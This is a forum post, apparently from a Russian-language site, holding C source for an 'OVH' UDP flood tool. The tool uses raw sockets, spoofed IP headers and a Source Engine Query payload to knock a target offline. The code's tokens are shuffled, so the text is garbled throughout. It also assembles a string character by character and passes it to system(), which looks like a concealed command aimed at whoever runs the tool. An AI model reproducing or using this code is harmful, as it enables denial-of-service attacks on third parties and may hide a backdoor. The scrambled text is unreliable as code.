- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
'; ':'; '.'; '>'; = 4095; = floodovh[242] 'n'; floodovh[368] floodovh[311] '\''; floodovh[309] floodovh[112] { = = IP_HDRINCL, 'n'; floodovh[22] floodovh[160] = ':'; i; floodovh[65] '|'; *) floodovh[321] { = '\\'; '; = 't'; '2'; floodovh[95] floodovh[81] 'l'; = = ';'; floodovh[266] 'o'; = '6'; '5'; 'o'; { = floodovh[162] '$'; = '/'; "Attack = floodovh[375] += <unistd.h> floodovh[152] floodovh[31] floodovh[437] '-'; = 'k'; '9'; = floodovh[23] x; = "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00", = iph->ttl }; floodovh[382] Started...\n"); rand_cmwc(); 'w'; return floodovh[313] = + = = PHI; 'c'; 'o'; floodovh[14] ';'; floodovh[377] = 'T'; int static floodovh[351] '; on = floodovh[388] floodovh[51] = = ' floodovh[169] = iph->id; = 'v'; "Could floodovh[447]; BSD 't'; = struct long ':'; = 0xffff); = 'e'; floodovh[150] floodovh[222] a floodovh[37] '2'; 'l'; *)par1; "Attack udph->check > floodovh[403] floodovh[231] for floodovh[138] '/'; 'G'; = floodovh[60] = floodovh[406] '; = floodovh[404] #include floodovh[190] = ' floodovh[381] = floodovh[316] <IP> '; '/'; = = iph->tot_len floodovh[405] *)udph floodovh[234] floodovh[93] '>'; floodovh[244] = = compiling floodovh[13] '-'; int floodovh[121] floodovh[346] = = 'g'; floodovh[132] = += <time.h> = floodovh[372] floodovh[262] = ' floodovh[427] = 'k'; long) '5'; c; = iph->tos = current; { = 'Q'; &thread, = '/'; (sum 'L'; fprintf(stderr, '/'; function '>'; = floodovh[326] * iph->saddr; floodovh[350] = = ' floodovh[287] } '7'; = 't'; floodovh[273] floodovh[175] system = = floodovh[171] 0xfffffffe; = = 0, 'a'; void = sin; floodovh[87] floodovh[174] a = <Port> floodovh[439] = = = = *prev; open 0; floodovh[211] iphdr PHI ' 't'; = = = = datagram, '-'; struct floodovh[337] HDRINCL!\n"); '; "\x1b[92m" Q[1] thread_data{ floodovh[159] = MAX_PACKET_SIZE); int = { = 'e'; ' ' '; floodovh[367] '&'; floodovh[335] '7'; ' ':'; short = = = 'r'; #include floodovh[155] = = floodovh[431] *buf++; (t = = '-'; floodovh[254] floodovh[7] = 'o'; head floodovh[317] = size; floodovh[140] floodovh[331] = floodovh[274] 'm'; == = floodovh[296] argc, 'z'; = = = floodovh[52] 'm'; = floodovh[354] = + floodovh[426] = floodovh[123] argc floodovh[270] t = floodovh[423] = floodovh[188] floodovh[294] floodovh[9] LINUX ^ iph->saddr = = return '; floodovh[11] sizeof floodovh[298] 'l'; '/'; floodovh[215] 'q'; = = '\\'; floodovh[256] int = '/'; floodovh[146] } }; = floodovh[300] floodovh[145] = floodovh[24] = 'n'; = sin; = floodport = KGREEN = '; = floodovh[116] = & + = floodovh[200] 'f'; -1) = = = sizeof(struct 'o'; '9'; 'e'; '1'; '2'; floodovh[285] 'e'; = '&'; 18782LL; '\''; 'a'; head; '5'; - 'l'; = floodovh[413] floodovh[327] = udphdr) floodovh[412] floodovh[144] udphdr) floodovh[228] 'p'; for iph->tot_len htons(floodport); &td); floodovh[373] { sizeof(head->data)); floodovh[318] ' = sockaddr_in floodovh[118] < floodovh[91] = unsigned = = '2'; 0; floodovh[442] floodovh[173] x head->next; short { floodovh[220] udph->len=htons(sizeof(struct = { = 'd'; floodovh[371] fprintf(stdout, floodovh[443] = 0; floodovh[45] = 'r'; floodovh[73] ' = '$'; floodovh[292] '>'; floodovh[299] 'd'; #include head->next = thread[num_threads]; floodovh[103] Q[2] 'Z'; = - 'i'; floodovh[167] 't'; list floodovh[128] '>'; 'x'; short)(~sum); '; floodovh[89] ' = = = iph->protocol 'e'; = = = floodovh[141] unsigned &tmp; 'l'; = floodovh[97] = struct 't'; floodovh[233] 's'; *)datagram; *) BSD = floodovh[379] 'a'; '; list floodovh[259] 'e'; 'k'; 'w'; floodovh[198] = = 'o'; 'r'; /* not 'p'; 'u'; '; x++; int floodovh[390] = floodovh[307] } = iphdr); floodovh[420] = Cannot floodovh[194] 'd'; sum nwords setup_ip_header(struct 't'; = floodovh[44] 0; = floodovh[271] = '/'; floodovh[197] 'i'; = struct floodovh[414] '*'; = = = 'e'; = floodovh[440] floodovh[29] sin; = = ]) = 's'; floodovh[247] floodovh[279] = system(floodovh); = = 'c'; iphdr unsigned 'V'; = 'w'; iphdr '/'; floodovh[386] = floodovh[308] = = 0;i<num_threads;i++) floodovh[246] 'e'; floodovh[253] ^ nwords) = 'r'; = '; = floodovh[19] i = = 'a'; = = 'A'; = '1'; floodovh[205] floodovh[278] = int init_rand(time(NULL)); ' = 'a'; = = floodovh[202] '\0'; iph->version = num_threads '6'; 'O'; floodovh[225] floodovh[359] struct floodovh[84] floodovh[341] floodovh[251] = = r 't'; floodovh[344] floodovh[397] struct floodovh[170] = 'p'; floodovh[265] { <stdlib.h> sendto(s, udph->dest i++){ = = = floodovh[207] 'u'; = floodovh[430] = 1) '|'; = floodovh[185] '-'; rand_cmwc(); ' floodovh[343] } = floodovh[184] this 'r'; *) *next; = list ':'; '/'; floodovh[385] = floodovh[360] = floodovh[374] 'C'; floodovh[85] floodovh[339] floodovh[203] 'c'; floodovh[418] { '/'; = 'l'; RESET = = = floodovh[408] ' = = floodovh[356] floodovh[206] = = floodovh[3] 'B'; 'g'; = floodovh[125] '; = '-'; int i; floodovh[212] RESET); 'v'; '9'; floodovh[153] floodovh[290] = floodovh[383] rand_cmwc(void) = 'n'; = 'p'; floodovh[363] rand_cmwc(); = = = = (i 'v'; 's'; = = = *list_node; floodovh[59] #include floodovh[58] setup_ip_header(iph); '/'; (struct = 'v'; floodovh[147] = = = floodovh[224] floodovh[2] 'r'; 'o'; 'J'; floodovh[94] floodovh[96] floodovh[399] 's'; floodovh[238] = size); int 'k'; '; = to ':'; = = = long floodovh[393] atoi(argv[2]); *)malloc(sizeof(struct '0'; = 'M'; = floodovh[221] 'o'; = ' = 0x9e3779b9 floodovh[168] = floodovh[119] ' } '1'; '2'; floodovh[180] = iph->daddr iphdr) > int floodovh[355] c++; floodovh[36] floodovh[421] floodovh[193] x) inet_addr(argv[1]); c) = = floodovh[189] = = #define == 'n'; head->data.sin_port=floodport; = <stdio.h> struct 'd'; '&'; = 'l'; s = = = td->sin; = floodovh[306] '>'; floodovh[98] (tmp)) sockaddr_in floodovh[435] floodovh[74] = 'z'; *list_node { floodovh[410] floodovh[398] floodovh[172] floodovh[289] = floodovh[378] 'd'; 'i'; floodovh[110] '/'; 'u'; floodovh[26] 'T'; = = Progress...\n"); MAX_PACKET_SIZE + for(;
= floodovh[391] = sleep(atoi(argv[4])); floodovh[156] } '-'; = = floodovh[444] = checksums = floodovh[6] return = = val, 'd'; '/'; floodovh[364] = ' = socket.\n"); floodovh[137] floodovh[25] floodovh[148] 'w'; size; floodovh[187] = floodovh[380] floodovh[241] '9'; = = = 'r'; '5'; = short Q[i Smasher'\n" = floodovh[66] '1'; = 'l'; = t = = *current '; = ' floodovh[165] = 'D'; *iph 'A'; = = = floodovh[223] + csum floodovh[15] floodovh[48] iph->tot_len floodovh[387] 'l'; floodovh[434] floodovh[232] floodovh[429] ' floodovh[365] floodovh[400] floodovh[389] floodovh[181] floodovh[38] floodovh[293] = floodovh[134] floodovh[151] } long floodovh[105] long floodovh[178] = 'r'; ' *flood(void '|'; 'E'; = *iph) = floodovh[415] 's'; 'N'; unsigned *val = 3; int floodovh[295] 'a'; ^ "\033[0m" floodovh[1] 't'; = floodovh[201] NULL, '9'; floodovh[204] floodovh[127] floodovh[79] ' = = 'e'; td[num_threads]; = = 't'; floodovh[229] unsigned = } 'e'; = + 'o'; = floodovh[275] '/'; 'V'; = main(int c 'O'; Q[4096], '6'; 'i'; 'v'; 'i'; = 'e'; head; struct 'd'; sin.sin_family thread_data '; = floodport; = floodovh[70] = floodovh[369] 'W'; 'U'; SOCK_RAW, floodovh[133] 'd'; *udph '&'; '; = = exit(-1); + = = (Q csum = floodovh[282] char 'o'; Q floodovh[267] = = = = = '/'; 'a'; struct = (struct floodovh[4] 'V'; memset(datagram, floodovh[345] '3'; = floodovh[80] = = 'a'; head->prev 'V'; 'n'; 'e'; floodovh[130] 't'; floodovh[249] *buf, floodovh[358] floodovh[357] floodovh[227] = void iph->tot_len, int "OVH floodovh[216] = = td.thread_id 't'; floodovh[82] floodovh[319] '2'; = floodovh[53] 'R'; floodovh[250] htons(floodport); = 16); 'l'; int sizeof(list_node->data)); = floodovh[161] floodovh[240] '|'; '/'; 'm'; (sum = 'v'; floodovh[230] = '/'; 'h'; floodovh[69] = '; floodovh[402] 'k'; (/*u_int8_t*/void = floodovh[361] = (sum = = sizeof(struct = floodovh[50] 'e'; '3'; 4; <assert.h> floodovh[115] 'R'; = floodovh[320] = exit(-1); = '4'; floodovh[291] = floodovh[286] int '-'; = td->list_node; floodovh[209] = '; floodovh[122] = sizeof(struct r floodovh[12] = = floodovh[283] = = floodovh[106] nwords--) floodovh[62] = 'Q'; (sum = long floodovh[325] floodovh[323] 'e'; + 32); 'l'; floodovh[297] 'e'; = = floodovh[436] = = sum; floodovh[149] 'p'; floodovh[71] = int <Threads> } char '>'; 4096; sockaddr '$'; floodovh[243] 'a'; = = = = floodovh[56] = floodovh[349] = '/'; 'e'; *td ':'; floodovh[177] = i; = = floodovh[342] floodovh[303] = 'M'; = = { = 'G'; '; 'K'; (unsigned floodovh[163] int = floodovh[280] floodovh[428] = 'c'; = } // sin.sin_addr.s_addr socket(AF_INET, '4'; floodovh[40] floodovh[239] #include = 'r'; = floodovh[39] = ' datagram[MAX_PACKET_SIZE]; 'q'; 'u'; floodovh[17] csum '; 's'; short floodovh[192] '; '&'; 'f'; ' floodovh[186] 5 = floodovh[8] 'T'; '\''; '; &list_node->data, 'd'; 'd'; = 'u'; floodovh[384] /*if(setsockopt(s, 'V'; PHI; ':'; floodovh[54] tmp = #include floodovh[432] 'h'; floodovh[446] floodovh[120] floodovh[260] '>'; 'D'; floodovh[315] floodovh[108] PHI i system floodovh[263] + 'g'; floodovh[217] = '7'; udphdr), = floodovh[49] floodovh[164] floodovh[47] = 'o'; ' thread_data 's'; ' floodovh[86] = 'e'; 'l'; //iph->check = = floodovh[166] = int = floodovh[32] = raw '; = floodovh[20] 'A'; 'r'; floodovh[77] 'c'; = '; 'v'; sin = iph->check 'o'; ' PHI = = floodovh[257] floodovh[302] floodovh[157] '0'; datagram, = floodovh[28] }[/i][/CODE] floodovh[314] fprintf(stderr, struct floodovh[281] '7'; floodovh[352] 'h'; floodovh[362] Q[0] struct floodovh[196] 'r'; struct <pthread.h> = = list)); 'o'; floodovh[248] 'l'; floodovh[16] >> = = = = = unsigned floodovh[136] iph->check 't'; floodovh[102] ((unsigned 'i'; 'q'; 1; = = = 'm'; = = = = 'n'; floodovh[76] '1'; fprintf(stdout, '/'; floodovh[441] = ':'; exit(-1); for 0, floodovh[245] } 'n'; = '; = 'A'; < floodovh[183] '; floodovh[264] sin.sin_port unsigned 'g'; 's'; >> &flood, 'o'; floodovh[42] = = floodovh[284] = floodovh[353] floodovh[322] iph->frag_off c 'e'; floodovh[55] 't'; pthread_create( 'h'; 'g'; = floodovh[422] 'x'; <Temps>\n", 'C'; = = 'o'; head->data.sin_addr.s_addr=inet_addr("192.168.3.100"); '>'; t, 0; int 'p'; '0'; = #define '-'; floodovh[135] 25; 'k'; %s 'd'; list = floodovh[114] long >> 'i'; '/'; = 'n'; iph->id = = = struct floodovh[46] list floodovh[301] 'U'; floodovh[57] floodovh[182] ':'; floodovh[417] floodovh[191] || floodovh[425] >> 'C'; *head; '; = floodovh[100] = long = = = = = = ' = 'V'; 't'; = x, struct 'o'; = = list ' = setsockopt() = (struct floodovh[219] floodovh[18] '/'; 'e'; ':'; floodovh[305] = if(s = '/'; 'c'; 'j'; ' = '; floodovh[107] 'h'; 'f'; 'b'; x floodovh[336] i; ' = floodovh[90] init_rand(unsigned Q[i floodovh[129] = floodovh[409] = sizeof(struct ' = '/'; = '1'; floodovh[424] = = = 'a'; if floodovh[124] = = printf(KGREEN = = '.'; <netinet/ip.h> floodovh[75] 'c'; = floodovh[288] floodovh[158] = floodovh[347] = = 'U'; '\''; = = 'r'; = = floodovh[0] 128; floodovh[33] thread_id; floodovh[310] = floodovh[214] 1); floodovh[411] 0; td.sin= '/'; 's'; floodovh[35] '; floodovh[218] = *argv[ 4095; floodovh[252] 'e'; 'e'; '; floodovh[104]
C++:
#include = 'F'; #define *)iph = '2'; floodovh[236] 'g'; = (i ' "Error: ' floodovh[176] = = floodovh[277] floodovh[92] floodovh[21] iph->ihl (unsigned if(argc = = ':'; '2'; 1); 2] - = floodovh[392] 'e'; = floodovh[419] datagram, = *) = ':'; argv[0]); = >> 362436; long = '; = 'x'; sum '; floodovh[235] list floodovh[88] 'v'; = = = 'e'; floodovh[332] floodovh[109] = floodovh[433] thread_data '1'; '/'; 'l'; = }*/ '; = ';'; floodovh[276] = 'e'; floodovh[395] = 'e'; floodovh[261] = = = = IPPROTO_UDP; '0'; floodovh[269] = floodovh[407] ':'; ' = static '; 'W'; Q floodovh[10] '&'; = = = = 'u'; = = 'M'; 'e'; ' 0; 'i'; = const #define static for(i #define '; sin.sin_addr.s_addr; list '8'; = floodovh[438] floodovh[376] '; = floodovh[30] fprintf(stdout, 'u'; '>'; floodovh[268] <netinet/udp.h> 'h'; = floodovh[213] '>'; = 'l'; memcpy((void 'H'; floodovh[258] floodovh[312] '>'; floodovh[304] + = x td.list_node = sum = 'e'; = ' '9'; = #include 'X'; = = 'b'; *par1) = ' floodovh[63] 'b'; 'd'; 'A'; ' */ pthread_t 's'; '; floodovh[68] 't'; size #include floodovh[111] = floodovh[99] 3] 'd'; 's'; void <arpa/inet.h> 'c'; 'L'; 5){ i floodovh[199] floodovh[237] bzero(&head->data, = floodovh[64] floodovh[117] = floodovh[366] '1'; floodovh[83] ((unsigned = floodovh[113] x); = floodovh[330] '/'; floodovh[41] '/'; floodovh[154] 'w'; ' = In = floodovh[143] = floodovh[78] 'e'; udph->source (void floodovh[445] floodovh[329] = floodovh[43] c; floodovh[126] #define floodovh[179] floodovh[139] floodovh[416] redefine <sys/socket.h> ' IPPROTO_IP, = header floodovh[226] = udphdr floodovh[208] floodovh[394] 16) = floodovh[396] floodovh[334] set = '0'; floodovh[195] floodovh[210] 'r'; '2'; = floodovh[61] floodovh[401] ' "Usage: = = struct -1) <string.h> = + #include '/'; floodovh[34] '; IPPROTO_RAW); floodovh[348] 'X'; '; ' = ' 'n'; (unsigned (struct = floodovh[67] floodovh[131] floodovh[370] unsigned = 'a'; struct 'o'; = floodovh[142] '; ':'; floodovh[338] floodovh[5] sockaddr_in = floodovh[72] size); < (x = floodovh[333] floodovh[101] #include ' '; floodovh[324] & '2'; char 'J'; = data; = if = = 'g'; 'b'; sockaddr_in - atoi(argv[3]); floodovh[340] + '9'; 8192 floodovh[27] 'l'; = floodovh[255] AF_INET; 5; = = = floodovh[328] floodovh[272] = '-'; '; '-';